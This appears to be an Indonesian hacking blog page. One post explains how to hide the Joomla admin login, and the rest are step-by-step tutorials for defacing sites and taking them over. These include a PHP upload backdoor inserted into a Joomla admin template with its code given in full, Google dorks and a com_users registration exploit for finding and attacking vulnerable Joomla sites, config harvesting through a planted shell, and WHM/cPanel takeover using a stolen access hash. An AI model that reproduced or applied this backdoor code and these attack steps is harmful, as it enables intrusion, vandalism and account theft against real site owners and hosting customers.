Mengamankan Administrator Joomla

Hanya bisa merusak, merusak, dan merusak. Ya, itulah yang saya pikirkan beberapa waktu lalu. Ketika seorang hacker berhasil melakukan symlink terhadap Joomla sobat, biasanya mereka akan mereset password salt dan login ke akun Joomla yang sudah direset passwordnya. Dan hal ini dimudahkan dengan settingan default alamat login Joomla sobat yaitu di [localhost]/administrator . Atau mungkin saja attacker yang lebih dulu menemukan link login Joomla sobat [belum mendapatkan password] mencoba melakukan bruteforce untuk mendapatkan password sobat. Lalu bagimana cara kita melindungi alamat login Joomla dari para hacker ? Dengan menyembunyikannya. Caranya ?
Ikuti langkah-langkah berikut :

1. Download ekstensi JLSecure My Site.
2. Buka halaman Administrator klik Extensions --> Extension Manager.

3. Upload dan instal ekstensi JLSecure My Site.

 

4. Setelah proses instalasi berhasil, buka halaman Plugin Manager lalu cari plg_system_jlsecuremysite.

5. Lalu klik plugin tersebut jika sudah ketemu

6. Pada kolom Secure key diisi dengan karakter yang terdiri dari huruf a-z A-Z, dalam contoh penulis mengisi dengan Syahrul. (terserah Anda)

7. Pada kolom Secure value diisi dengan alpha numeric yang terdiri dari a-z A-Z 0-9, dalam contoh penulis mengisi dengan 48. (terserah Anda)

8. Jangan lupa untuk Status rubah menjadi Enabled

9 .Klik Save.
Setelah Anda klik Save, secara otomatis halaman Administrator akan mereload dan redirect membuka halaman front-end website. Untuk login ke halaman Administrator kembali Anda tinggal mengetikkan URL www.domain.com/administrator/?Syahrul=48 pada web

Demo : http://www.hubl-fahrzeugtechnik.at/administrator/?Syahrul=48

Content Creator : Syahrul Ramadhan  

06.11  Ilmu pengetahuan  No comments

Read More

Deface Dengan Cara Mencari Config

Assalamuallaikum ^_^
selamat pagi :D 
pagi yang cerah untuk posting ^_^
ok kali ini saya mau berbagi tutorial mencari config dalam sebuah website
bahan bahan :
- shell ( kalau gak punya bisa download DISINI )

saya anggap kalian udah pasang shell di web target kalian :)

oke pertama kita masuk ke shell lalu klik eval 
nanti tampilan akan seperti ini

lalu klik go
hingga tampilan seperti ini

copy semua yang ada pada tebel itu 

terus klik config , lalu paste yang ada di tabel tadi 

lalu klik hajar tunggu hingga ada bacaan "Done !!"

ok lalu check deh confignya
caranya www.site.com/letakshell/config
contoh karna saya menyimpan shell di folder tmp
cara checknya www.site.com/tmp/config

pokonya ganti nama shell kalian dengan config ^_^

lumayan dapet dua :v heheh
bisa kalian mysql reset database atau mau diapain seterah kalian :)
sekian
-/Mr.404NotFound

06.10  Ilmu pengetahuan  No comments

Read More

Hack Web Host Manager (WHM)

Assalammualaikum…

Hallo sobat, lama nih ga buat tutor lagi :D rada2 males mah saya sekarang mo hacking2an.. hehehe :D  oke sekarang saya mo bahas mengenai cara Hack Web Host Manager (WHM) :p

Apa itu Web Host Manager (WHM) ? >>>> Google aja yah :p

Sebelum itu sobat harus bisa nanem Shell dolo, klo belum bisa gimana coba? lol :D Nah, Kalo hack WHM, disini kita butuh Config WHMCSnya  :3  ga semua web bisa nemu confignya :D nasip2an aja lol :D sebenarnya bisa juga dengan cara mengexploitasi bug pada whmcs, itu sobat pelajari ndiri yah :p
sobat bisa baca artikel kita sebelumnya Cara mencari config dalam website

Berikut bahan2 yg sobat butuhkan:

1. Shell yang udah ketanem di web 
2. Whmcs killer 
3. Config whmcs

nomer 2 bisa ambil di SINI 

Disini saya udah nemu config WHMnya :

 

  isi dalamnya seperti :

 

Kemudian kita buka whmcs killer yang sudah di upload ke dalam web. 

isi

$db_host
$db_username
$db_password
$db_name
$cc_encryption_hash 

lalu klik Submit!

 

 

Nah, kita sudah masuk tuh, :D silahkan liat2 yoo :p

 

 

*mohon maaf karna coded saya ganti sebenernya bukan coded saya

kalian bisa cari di google "FILE WHMCS KILLER V3" cari yang original , hargai coding orang lain , tapi karna emang ini file private saya jadi maaf coded saya ganti lagian hanya untuk contoh :)*

 

Akun WHMnya ada di H0st R00t, dan akun CPanelnya ada di Client Hosting Account 

 

 

Tinggal login aja, :p buka IP:Port dan untuk loggin ke WHM digunakn port 2086/2087

cth: 176.32.342.223:2086 

 

 

udah pada bisa kan?  kalo ga bisa juga face factor pastinya :p nah, bagaimana kalo ga bisa loggin pake akun yang udah kita dapat? :o itu artinya password telah diubah oleh administratornya. kalo sobat menemukan kasus seperti ini, sobat bisa gunakan cara berikut:

Pertama sobat install dolo Addons firefox yang namanya Modify Header, klik aja disini 

 

 

kemudian sobat liat di whmcs killer tadi pada kolom Access Hash. 

 

 

Silahkan disusun sejajar dengan format : WHM username:AccessHash lihat gambar! 

 

 

kemudian buka Modify Header, klik Select Action pilih Add. isi seperti berikut:

Header Name : Authorization
Header Value : WHM username:AccessHash 

 

 

 Lalu save, dan klik Enable, kalo udah ada tanda hijau lalu klik Start 

 

 

Setelah itu tinggal sobat buka WHMnya.. IP:Port  

 

 

Mudah kan? :D semoga saja tutorial ini bermanfaat dan tidak disalahgunakan :) kalo disalahgunakan resiko dan Dosanya tanggung sendiri yah? :p Spesial big thanks to :  RAB3OUN (yang coding WHMCS V3) :)

sorry this just tutorial not intended to replace your coded :)

06.09  Ilmu pengetahuan  No comments

Read More

Cara Tebas Index di CMS Joomla | New 2014

Hallo Beroh :O
Masih inget sama ane ? xixiixixi :ngakak
Masih tentang Combro eh Joomla nih mbro :) Kali ini ane akan share cara tebas index di CMS Joomla ^_^
Dangdutan dulu mblo :ngakak 
Oke deh langsung kembali ke Laftof :v

Pertama ente harus udah dapet web sasaranya & udah bisa login ke halaman administratornya.
Kalo belom dapet silahkan baca Cara Deface CMS Joomla Dengan Exploit Joomla Com_User.
Nahh kalo udah dapet cabenya ehhh joomlanya :v
Kalo udah dapet langsung aje login >.<

Terus Klik "Template Manager" Ntar Nongol ini deh

Nahh Ingettin nama template yang ada bintangnya itu, tapi disini kita akan tebas index sitenya, bukan index administratornya, jadi ingetin aja yg Template Locationnya "Site", yaitu "JBlank", Terus Klik Templates (yg ada tanda panahnya). Nanti muncul deh :

Trus ente cari Template site yang tadi, Disini tadi JBlank, Tuh ketemu 

Lalu klik Jblank Details

Trus Klik "Edit main page templates" dan Tunngu sejenak, nanti akan muncul script Templatenya. :)

Nahhhh..!!! Langsung ganti scriptnya sama script deface enteee ^_^ ..!!

Langsung Klik "Save & Close" Jika muncul seperti dibawah ini berarti suksesssssssssss.

Coba sekarang buka homepage sitenya :v xixixixixixi

JEBRETTTTTTT JEBREETTTTT JEBREEEETTT :V :O :ngakak , Sukkseessssssss..!!

Udah kan??

Nyengir dong :ngakak :v

Udeh ye , Ane pamit dulu , Nanti ane post cara upload shell di CMS Coombro ehh Joomlaa :v

Kalo gak jelas komeng aja , atau tuliss aja di buku tamu , nanti ane jawab kogg

06.04  Ilmu pengetahuan  No comments

Read More

Cara Tanem / Upload Shell Di CMS Joomla | New 2014

Nah balik lagi ke joomla.
Kali ini ane akan share tutorial cara upload Shell di Joomla ^_^.
Shell ? Buat apa? , Biasanya Untuk Tebas index.php, nyari web lain di dalam web (Jumping), crack Cpanel, Dll.
Kalo untuk tebas index saja, Cara Termudah yaitu edit templatenya aja :v, gaperlu upload shell juga bisa, Kalo belum tau baca dulu di SONO.

Oke langsung ajah :v
Pertama ente harus udah login ke halaman administrator web target.
Kalo belum punya target Baca dulu tutorialnya DISINI

Terus klik "Template Manager"

Lihat Templatee ADMINISTRATOR yang aktif ( Yang Aktif Terdapat Tanda Bintang ), Disini template yang aktif adalah "Bluestork".
Terus klik "Templates" ( Disamping kanan "Styles" )

Terus cari template administrator yang tadi (Disini ane Bluestork).
Terus klik pada judul templatenya.

Terus klik tulisan "Edit Main Page Template"
Terus taruh script ini dibawah script Halaman Administrator.

<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Sukses Cukk!!!<b><br><br>'; }
else { echo '<b>Gagal Anjir :3!!!</b><br><br>'; }
}
?>

Terus Save.

Kalau udah sukses di save, ntar akan muncul Fasilitas untuk upload Shell di paling bawah halaman administrator (Yang dikotakin merah).
Lalu klik Chose File, Pilih Shell kamu, Terus klik "Upload".
Kalau sukes tulisanya begini :

Kalau gagal tulisanya "Gagal Anjir :3!!!".

Naah kalo udah sukses tinggal manggil Shellnya :v.

Caranya pergi ke "http://www.site.com/administrator/namashell.php

*Contoh:"http://www.apisupermarket.com/administrator/shell.php

Daaaaannnn Jebret..!!!! Suksesssssss

Nah Terserah dah mau diapain lagi :v

Oke sekian dulu dari ane, Kalo ada yang ga ngerti komen aja, atau tulis aja di buku tamu :v

Byeeeee :v

06.03  Ilmu pengetahuan  No comments

Read More

Cara Deface CMS Joomla Dengan Metode Exploit Joomla COM_USER | New 2014

Hallo Mas Broh ^_^
Ane mau kasih tutorial deface yang lagi hot hotnya nih.
Yaitu Deface dengan tehnik exploit Joomla Com_User. ahahay :D

*Wajib..!!, Bagi yang belum tau arti deface loncat dulu ke SINI

• Deface adalah teknik mengganti atau menyisipkan file pada server, teknik ini dapat dilakukan karena terdapat lubang pada sistem security yang ada di dalam sebuah aplikasi.

Nah udah tau kan ?

Sekarang Tutorialnya nih. 

*Bahan-Bahan :

1. Internet :v *Wajib
2. Exploit Joomla : Download Here *Wajib
3. Notepad ++ (Notepad Biasa juga bisa) : Download Here *Wajib
4. Dork (Nanti ane kasih dibawah) *Wajib
5. Teh manis / Kopi *Gak Wajib

Ok Kalo Bahan2 udah lengkap Tinggal dorknya :v
Nih Special Dork :3 :

intext:"joomla! 1.7 - Open Source Content Management" inurl:www.rankw.com+x
intext:"joomla! 1.7 - Open Source Content Management" inurl:www.rankw.ru+x
intext:"joomla! 1.7 - Open Source Content Management" inurl:sitevaluesite.net+x
intext:"joomla! 1.7 - Open Source Content Management" inurl:bname.ru+x
Note : x Diganti Dengan Domain Suatu Negara. Misal : Com, My, Id, il, ru, it 

Dorknya Kembangin lagi ya >.<
Kalo Kurang Nyolong aja disono
Oke Udah kan??
Sekarang ikutin nih step stepnya ._.

Pertama Download Exploit Joomlanya, Trus dibuka pake Notepad++ / Notepad Biasa Juga Bisa,
Edit dah Exploitnya Kaya Gini :

"NAMAMU" Diganti Dangan Nama Kalian
"USERNAMEMU" Diganti Dangan Username Kalian
"eMAIL@EMAILMU" Diganti Dangan Email Kalian
Note: Password gausah diubah

Terus Ente Nyari Target Vuln Pake Dork Diatas :)
Nih Ciri2 Joomla yang Vuln :

Gambar Diatas Joomla yang Samar2, Bisa Vuln Bisa Tidak

Nah, Joomla Yang Diatas Itu Biasanya Vuln

Nah Ciri2nya begitu, Beda Garisnya antara Joomla Vuln, Sama yang Samar2
Oke Kalo udah dapet Site Yang Vuln Terus Masukin Exploit :
index.php?option=com_users&view=registration
Contohnya :

Nanti ente akan masuk halaman register sitenya

Terus ente klik  CTRL+U / Open Source di keyboard, Lanjut klik lagi CTRL+F lalu ketik "hidden" dan cari kode di bawah

Copy kodenya terus buka Exploit yang tadi di download pake notepad terus edit exploitnya

Edit juga sitenya di exploit dengan site vuln ente

Terus Save dan buka Exploitnya

Trus Klik Register nanti keluar kaya gini

Nah sekarang masukin password & confirm password :D
Dannn

Success (y)

Lalu buka email ente & cari email yang dari site vuln ente, klik activation linknya

Lalu Masuk ke halaman Administratornya, http://site.com/administrator

Tinggal login pake akun ente >.<

JEBRETT JEBRETT JEBRETTT :V

Tinggal Tebas dah indexnya.
Udah dulu tutorialnya :v
Nanti ane post cara tebas index di joomla
Kalo ada yang gak jelas komen aja

06.01  Ilmu pengetahuan  No comments

Read More